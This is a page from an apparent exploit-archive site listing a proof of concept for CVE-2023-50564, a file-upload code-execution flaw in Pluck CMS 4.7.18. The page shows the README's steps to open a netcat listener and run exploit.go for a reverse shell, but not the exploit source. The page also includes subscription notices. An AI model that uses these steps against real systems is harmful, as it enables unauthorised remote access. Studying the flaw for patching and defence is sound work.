Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%
Buy Us a Coffee

CVE-2023-50564 PoC — Pluck 安全漏洞

Source
https://github.com/ipuig/CVE-2023-50564
Associated Vulnerability
Title:Pluck 安全漏洞 (CVE-2023-50564)
Description:An arbitrary file upload vulnerability in the component /inc/modules_install.php of Pluck-CMS v4.7.18 allows attackers to execute arbitrary code via uploading a crafted ZIP file.
Description
CVE-2023-50564 PoC
Readme
# CVE-2023-50564

## How to use

First setup a listener for the reverse shell.  
*Terminal 1*
```bash
nc -nlvp <lport>
```
Execute the script which will attempt to install a pluck module sending the reverse shell back to us.  
*Terminal 2*
```bash
go run exploit.go -url <url> -password <passwd> -i <your-ip> -p <lport>
```
File Snapshot

 [4.0K]  /data/pocs/27c1022ef15d515b520582cf8e12d07c1d2c37de
├── [3.3K]  exploit.go
└── [ 324]  README.md

0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →